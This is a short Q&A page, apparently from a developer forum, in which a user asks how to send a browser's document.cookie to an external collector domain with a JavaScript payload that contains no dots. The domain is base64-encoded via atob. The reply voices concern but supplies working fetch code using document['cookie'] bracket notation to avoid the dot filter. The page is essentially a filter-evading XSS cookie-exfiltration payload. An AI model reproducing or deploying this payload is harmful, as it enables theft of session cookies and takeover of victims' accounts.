Home > database >  Avoid dots in JS
Avoid dots in JS

Time:12-31

I want to achieve sending document cookie to a domain without dots.

This is the action to be performed:

fetch('https://qoi4vi4vorwzfuui8lfc64s2zt5ltbh0.example.com', { method: 'POST', mode: 'no-cors', body:document.cookie })

This is what I have done for the moment:

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { method: 'POST', mode: 'no-cors', body:1 })

Given that:

aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ== is the base64 of https://qoi4vi4vorwzfuui8lfc64s2zt5ltbh0.example.com

I don't know how to deal with

body:document.cookie

to be something like:

body:atob(ZG9jdW1lbnQuY29va2ll) being ZG9jdW1lbnQuY29va2ll the base64 of document.cookie

I want to perform it this way, via fetch.

Regards!

CodePudding user response:

Please read all the comments regarding our concerns about this.


To answer your question, use the bracket notation ([]):

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { 
    method: 'POST', 
    mode: 'no-cors', 
    body: document['cookie']
})
  • Related